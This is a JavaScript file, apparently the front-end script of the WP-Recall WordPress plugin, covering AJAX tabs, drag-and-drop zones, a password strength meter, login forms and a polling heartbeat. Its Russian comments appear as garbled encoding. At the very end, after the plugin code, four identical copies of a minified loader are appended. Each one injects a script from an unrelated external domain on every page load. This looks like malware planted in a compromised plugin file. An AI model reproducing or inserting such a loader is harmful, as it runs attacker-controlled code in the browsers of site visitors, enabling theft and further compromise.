1 2jQuery(function($){ 3 4 $.fn.extend({ 5 insertAtCaret: function(myValue){ 6 return this.each(function(i) { 7 if (document.selection) { 8 // ÐÐ»Ñ Ð±ÑаÑзеÑов Ñипа Internet Explorer 9 this.focus(); 10 var sel = document.selection.createRange(); 11 sel.text = myValue; 12 this.focus(); 13 } 14 else if (this.selectionStart || this.selectionStart == '0') { 15 // ÐÐ»Ñ Ð±ÑаÑзеÑов Ñипа Firefox и дÑÑÐ³Ð¸Ñ Webkit-ов 16 var startPos = this.selectionStart; 17 var endPos = this.selectionEnd; 18 var scrollTop = this.scrollTop; 19 this.value = this.value.substring(0, startPos)+myValue+this.value.substring(endPos,this.value.length); 20 this.focus(); 21 this.selectionStart = startPos + myValue.length; 22 this.selectionEnd = startPos + myValue.length; 23 this.scrollTop = scrollTop; 24 } else { 25 this.value += myValue; 26 this.focus(); 27 } 28 }) 29 } 30 }); 31 32 rcl_do_action('rcl_init'); 33}); 34 35jQuery(window).load(function() { 36 jQuery('body').on('drop', function (e) { 37 return false; 38 }); 39 jQuery(document.body).bind("drop", function(e){ 40 e.preventDefault(); 41 }); 42}); 43 44rcl_add_action('rcl_init','rcl_init_ajax_tab'); 45function rcl_init_ajax_tab(){ 46 jQuery('body').on('click','.rcl-ajax',function(){ 47 48 var e = jQuery(this); 49 50 if(e.hasClass('tab-upload')) return false; 51 52 rcl_do_action('rcl_before_upload_tab',e); 53 54 rcl_ajax({ 55 data:{ 56 action: 'rcl_ajax_tab', 57 post: e.data('post'), 58 tab_url: e.attr('href') //encodeURIComponent(e.attr('href')) 59 }, 60 success: function(data){ 61 62 e.removeClass('tab-upload'); 63 64 data = rcl_apply_filters('rcl_upload_tab',data); 65 66 if(data.result.error){ 67 rcl_notice(data.result.error,'error',10000); 68 return false; 69 } 70 71 var url = data.post.tab_url; 72 var supports = data.post.supports; 73 var subtab_id = data.post.subtab_id; 74 75 if(supports && supports.indexOf('dialog')>=0){ //еÑли вкладка поддеÑÐ¶Ð¸Ð²Ð°ÐµÑ Ð´Ð¸Ð°Ð»Ð¾Ð³ 76 77 if(!subtab_id){ //еÑли загÑÑжаеÑÑÑ Ð¾ÑÐ½Ð¾Ð²Ð½Ð°Ñ Ð²ÐºÐ»Ð°Ð´ÐºÐ° 78 79 ssi_modal.show({ 80 className: 'rcl-dialog-tab '+data.post.tab_id, 81 sizeClass: 'small', 82 buttons: [{ 83 label: Rcl.local.close, 84 closeAfter: true 85 }], 86 content: data.result 87 }); 88 89 }else{ 90 91 var box_id = '#ssi-modalContent'; 92 93 } 94 95 }else{ 96 97 rcl_update_history_url(url); 98 99 if(!subtab_id) 100 jQuery('.rcl-tab-button .recall-button').removeClass('active'); 101 102 e.addClass('active'); 103 104 var box_id = '#lk-content'; 105 106 } 107 108 if(box_id){ 109 110 jQuery(box_id).html(data.result); 111 112 var options = rcl_get_options_url_params(); 113 114 if(options.scroll == 1){ 115 var offsetTop = jQuery(box_id).offset().top; 116 jQuery('body,html').animate({scrollTop:offsetTop - options.offset}, 1000); 117 } 118 119 if(data.includes){ 120 121 var includes = data.includes; 122 123 includes.forEach(function(src, i, includes) { 124 125 jQuery.getScript(src); 126 127 }); 128 129 } 130 131 } 132 133 if(!data.post.subtab_id){ 134 jQuery('#lk-content').animateCss('fadeIn'); 135 }else{ 136 jQuery('#lk-content .rcl-subtab-content').animateCss('fadeIn'); 137 } 138 139 rcl_do_action('rcl_upload_tab',{element:e,result:data}); 140 141 } 142 }); 143 144 return false;
145 146 }); 147} 148 149function rcl_get_options_url_params(){ 150 151 var options = { 152 scroll:1, 153 offset:100 154 }; 155 156 options = rcl_apply_filters('rcl_options_url_params',options); 157 158 return options; 159} 160 161function rcl_add_dropzone(idzone){ 162 163 jQuery(document.body).bind("drop", function(e){ 164 var dropZone = jQuery(idzone), 165 node = e.target, 166 found = false; 167 168 if(dropZone[0]){ 169 dropZone.removeClass('in hover'); 170 do { 171 if (node === dropZone[0]) { 172 found = true; 173 break; 174 } 175 node = node.parentNode; 176 } while (node != null); 177 178 if(found){ 179 e.preventDefault(); 180 }else{ 181 return false; 182 } 183 } 184 }); 185 186 jQuery(idzone).bind('dragover', function (e) { 187 var dropZone = jQuery(idzone), 188 timeout = window.dropZoneTimeout; 189 190 if (!timeout) { 191 dropZone.addClass('in'); 192 } else { 193 clearTimeout(timeout); 194 } 195 196 var found = false, 197 node = e.target; 198 199 do { 200 if (node === dropZone[0]) { 201 found = true; 202 break; 203 } 204 node = node.parentNode; 205 } while (node != null); 206 207 if (found) { 208 dropZone.addClass('hover'); 209 } else { 210 dropZone.removeClass('hover'); 211 } 212 213 window.dropZoneTimeout = setTimeout(function () { 214 window.dropZoneTimeout = null; 215 dropZone.removeClass('in hover'); 216 }, 100); 217 }); 218} 219 220function passwordStrength(password){ 221 var desc = new Array(); 222 desc[0] = Rcl.local.pass0; 223 desc[1] = Rcl.local.pass1; 224 desc[2] = Rcl.local.pass2; 225 desc[3] = Rcl.local.pass3; 226 desc[4] = Rcl.local.pass4; 227 desc[5] = Rcl.local.pass5; 228 var score = 0; 229 if (password.length > 6) score++; 230 if ( ( password.match(/[a-z]/) ) && ( password.match(/[A-Z]/) ) ) score++; 231 if (password.match(/\d+/)) score++; 232 if ( password.match(/.[!,@,#,$,%,^,&,*,?,_,~,-,(,)]/) ) score++; 233 if (password.length > 12) score++; 234 document.getElementById("passwordDescription").innerHTML = desc[score]; 235 document.getElementById("passwordStrength").className = "strength" + score; 236} 237 238function rcl_manage_user_black_list(e,user_id){ 239 240 var class_i = jQuery(e).children('i').attr('class'); 241 242 if(class_i=='rcli fa-refresh fa-spin') return false; 243 244 jQuery(e).children('i').attr('class','rcli fa-refresh fa-spin'); 245 246 rcl_ajax({ 247 data: { 248 action: 'rcl_manage_user_black_list', 249 user_id: user_id 250 }, 251 success: function(data){ 252 253 jQuery(e).children('i').attr('class',class_i); 254 255 if(data['label']){ 256 jQuery(e).find('span').text(data['label']); 257 } 258 259 } 260 }); 261 262 return false; 263} 264 265rcl_add_action('rcl_init','rcl_init_update_requared_checkbox'); 266function rcl_init_update_requared_checkbox(){ 267 268 jQuery('body form').find('.required-checkbox').each(function(){ 269 rcl_update_require_checkbox(this); 270 }); 271 272 jQuery('body form').on('click','.required-checkbox',function(){ 273 rcl_update_require_checkbox(this); 274 }); 275 276} 277 278function rcl_show_tab(id_block){ 279 jQuery(".rcl-tab-button .recall-button").removeClass("active"); 280 jQuery("#lk-content .recall_content_block").removeClass("active"); 281 jQuery('#tab-button-'+id_block).children('.recall-button').addClass("active"); 282 jQuery('#lk-content .'+id_block+'_block').addClass("active"); 283 return false; 284} 285 286rcl_add_action('rcl_init','rcl_init_recallbar_hover'); 287function rcl_init_recallbar_hover(){ 288 jQuery("#recallbar .menu-item-has-children").hover(function() { 289 jQuery(this).children(".sub-menu").css({'visibility': 'visible'}); 290 }, function() { 291 jQuery(this).children(".sub-menu").css({'visibility': ''}); 292 }); 293} 294 295rcl_add_action('rcl_before_upload_tab','rcl_add_class_upload_tab'); 296function rcl_add_class_upload_tab(e){ 297 e.addClass('tab-upload'); 298} 299 300rcl_add_action('rcl_before_upload_tab','rcl_add_preloader_tab'); 301function rcl_add_preloader_tab(e){ 302 rcl_preloader_show('#lk-content > div'); 303 rcl_preloader_show('#ssi-modalContent > div'); 304} 305 306rcl_add_action('rcl_init','rcl_init_get_smilies'); 307function rcl_init_get_smilies(){ 308 jQuery(document).on({ 309 mouseenter: function () { 310 var sm_box = jQuery(this).next(); 311 var block = sm_box.children(); 312 sm_box.show(); 313 if(block.html()) return false;
314 block.html(Rcl.local.loading+'...'); 315 var dir = jQuery(this).data('dir'); 316 317 rcl_ajax({ 318 data: { 319 action: 'rcl_get_smiles_ajax', 320 area: jQuery(this).parent().data('area'), 321 dir: dir? dir: 0 322 }, 323 success: function(data){ 324 if(data['content']){ 325 block.html(data['content']); 326 } 327 } 328 }); 329 330 }, 331 mouseleave: function () { 332 jQuery(this).next().hide(); 333 } 334 }, "body .rcl-smiles .fa-smile-o"); 335} 336 337rcl_add_action('rcl_init','rcl_init_hover_smilies'); 338function rcl_init_hover_smilies(){ 339 340 jQuery(document).on({ 341 mouseenter: function () { 342 jQuery(this).show(); 343 }, 344 mouseleave: function () { 345 jQuery(this).hide(); 346 } 347 }, "body .rcl-smiles > .rcl-smiles-list"); 348 349 jQuery('body').on('hover click','.rcl-smiles > img',function(){ 350 var block = jQuery(this).next().children(); 351 if(block.html()) return false; 352 block.html(Rcl.local.loading+'...'); 353 var dir = jQuery(this).data('dir'); 354 355 rcl_ajax({ 356 data: { 357 action: 'rcl_get_smiles_ajax', 358 area: jQuery(this).parent().data('area'), 359 dir: dir? dir: 0 360 }, 361 success: function(data){ 362 if(data['content']){ 363 block.html(data['content']); 364 } 365 } 366 }); 367 368 return false; 369 }); 370} 371 372rcl_add_action('rcl_init','rcl_init_click_smilies'); 373function rcl_init_click_smilies(){ 374 jQuery("body").on("click",'.rcl-smiles-list img',function(){ 375 var alt = jQuery(this).attr("alt"); 376 var area = jQuery(this).parents(".rcl-smiles").data("area"); 377 jQuery("#"+area).val(jQuery("#"+area).val()+" "+alt+" "); 378 }); 379} 380 381rcl_add_action('rcl_init','rcl_init_close_popup'); 382function rcl_init_close_popup(){ 383 jQuery('#rcl-popup,.floatform').on('click','.close-popup',function(){ 384 rcl_hide_float_login_form(); 385 jQuery('#rcl-overlay').fadeOut(); 386 jQuery('#rcl-popup').empty(); 387 return false; 388 }); 389} 390 391rcl_add_action('rcl_init','rcl_init_click_overlay'); 392function rcl_init_click_overlay(){ 393 jQuery('#rcl-overlay').click(function(){ 394 rcl_hide_float_login_form(); 395 jQuery('#rcl-overlay').fadeOut(); 396 jQuery('#rcl-popup').empty(); 397 return false; 398 }); 399} 400 401rcl_add_action('rcl_init','rcl_init_click_float_window'); 402function rcl_init_click_float_window(){ 403 jQuery(".float-window-recall").on('click','.close',function(){ 404 jQuery(".float-window-recall").remove(); 405 return false; 406 }); 407} 408 409rcl_add_action('rcl_init','rcl_init_loginform_shift_tabs'); 410function rcl_init_loginform_shift_tabs(){ 411 jQuery('body').on('click','.form-tab-rcl .link-tab-rcl',function(){ 412 jQuery('.form-tab-rcl').hide(); 413 414 if(jQuery(this).hasClass('link-login-rcl')) 415 rcl_show_login_form_tab('login'); 416 417 if(jQuery(this).hasClass('link-register-rcl')) 418 rcl_show_login_form_tab('register'); 419 420 if(jQuery(this).hasClass('link-remember-rcl')) 421 rcl_show_login_form_tab('remember'); 422 423 return false; 424 }); 425} 426 427rcl_add_action('rcl_init','rcl_init_check_url_params'); 428function rcl_init_check_url_params(){ 429 430 var options = rcl_get_options_url_params(); 431 432 if(rcl_url_params['tab']){ 433 434 if(!jQuery("#lk-content").size()) return false; 435 436 if(options.scroll == 1){ 437 var offsetTop = jQuery("#lk-content").offset().top; 438 jQuery('body,html').animate({scrollTop:offsetTop - options.offset}, 1000); 439 } 440 441 var id_block = rcl_url_params['tab']; 442 rcl_show_tab(id_block); 443 } 444 445} 446 447rcl_add_action('rcl_init','rcl_init_close_notice'); 448function rcl_init_close_notice(){ 449 jQuery('#rcl-notice,body').on('click','a.close-notice',function(){ 450 rcl_close_notice(jQuery(this).parent()); 451 return false;
452 }); 453} 454 455rcl_add_action('rcl_init','rcl_init_cookie'); 456 457rcl_add_action('rcl_login_form','rcl_init_login_form'); 458function rcl_init_login_form(type_form){ 459 460 if(rcl_url_params['action-rcl']){ 461 jQuery('.panel_lk_recall.floatform > div').hide(); 462 } 463 464 if(type_form=='floatform'){ 465 466 jQuery("body").on('click','.rcl-register',function(){ 467 rcl_show_float_login_form(); 468 rcl_show_login_form_tab('register',type_form); 469 return false; 470 }); 471 472 jQuery("body").on('click','.rcl-login',function(){ 473 rcl_show_float_login_form(); 474 rcl_show_login_form_tab('login',type_form); 475 return false; 476 }); 477 478 if(rcl_url_params['action-rcl']){ 479 rcl_show_float_login_form(); 480 } 481 482 }else{ 483 484 if(rcl_url_params['action-rcl']==='login'){ 485 jQuery('.rcl-loginform-full.'+type_form+' #register-form-rcl').hide(); 486 } 487 488 if(rcl_url_params['action-rcl']==='register'){ 489 jQuery('.rcl-loginform-full.'+type_form+' #login-form-rcl').hide(); 490 } 491 492 if(rcl_url_params['action-rcl']==='remember'){ 493 jQuery('.rcl-loginform.'+type_form+' #login-form-rcl').hide(); 494 } 495 496 } 497 498 if(rcl_url_params['action-rcl']){ 499 rcl_show_login_form_tab(rcl_url_params['action-rcl'],type_form); 500 } 501 502} 503 504function rcl_show_login_form_tab(tab,type_form){ 505 type_form = (!type_form)? '' : '.'+type_form; 506 jQuery('.panel_lk_recall'+type_form+' #'+tab+'-form-rcl').show(); 507} 508 509function rcl_show_float_login_form(){ 510 jQuery('.panel_lk_recall.floatform > div').hide(); 511 rcl_setup_position_float_form(); 512 jQuery('.panel_lk_recall.floatform').show(); 513} 514 515function rcl_hide_float_login_form(){ 516 jQuery('.panel_lk_recall.floatform').fadeOut().children('.form-tab-rcl').hide(); 517} 518 519function rcl_setup_position_float_form(){ 520 jQuery("#rcl-overlay").fadeIn(); 521 var screen_top = jQuery(window).scrollTop(); 522 var popup_h = jQuery('.panel_lk_recall.floatform').height(); 523 var window_h = jQuery(window).height(); 524 screen_top = screen_top + 60; 525 jQuery('.panel_lk_recall.floatform').css('top', screen_top+'px'); 526} 527 528rcl_add_action('rcl_footer','rcl_beat'); 529function rcl_beat(){ 530 531 var beats = rcl_apply_filters('rcl_beats',rcl_beats); 532 533 var DataBeat = rcl_get_actual_beats_data(beats); 534 535 if(rcl_beats_delay && DataBeat.length){ 536 537 rcl_do_action('rcl_beat'); 538 539 rcl_ajax({ 540 data: { 541 action: 'rcl_beat', 542 databeat: JSON.stringify(DataBeat) 543 }, 544 success: function(data){ 545 546 data.forEach(function(result, i, data) { 547 548 rcl_do_action('rcl_beat_success_'+result['beat_name']); 549 550 new (window[result['success']])(result['result']); 551 552 }); 553 554 } 555 }); 556 557 } 558 559 rcl_beats_delay++; 560 561 setTimeout('rcl_beat()', 1000); 562} 563 564function rcl_get_actual_beats_data(beats){ 565 566 var beats_actual = new Array(); 567 568 if(beats){ 569
570 beats.forEach(function(beat, i, beats) { 571 var rest = rcl_beats_delay % beat.delay; 572 if(rest == 0){ 573 574 var object = new (window[beat.beat_name])(beat.data); 575 576 if(object.data){ 577 578 object = rcl_apply_filters('rcl_beat_' + beat.beat_name,object); 579 580 object.beat_name = beat.beat_name; 581 582 var k = beats_actual.length; 583 beats_actual[k] = object; 584 } 585 } 586 }); 587 588 } 589 590 return beats_actual; 591 592} 593;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.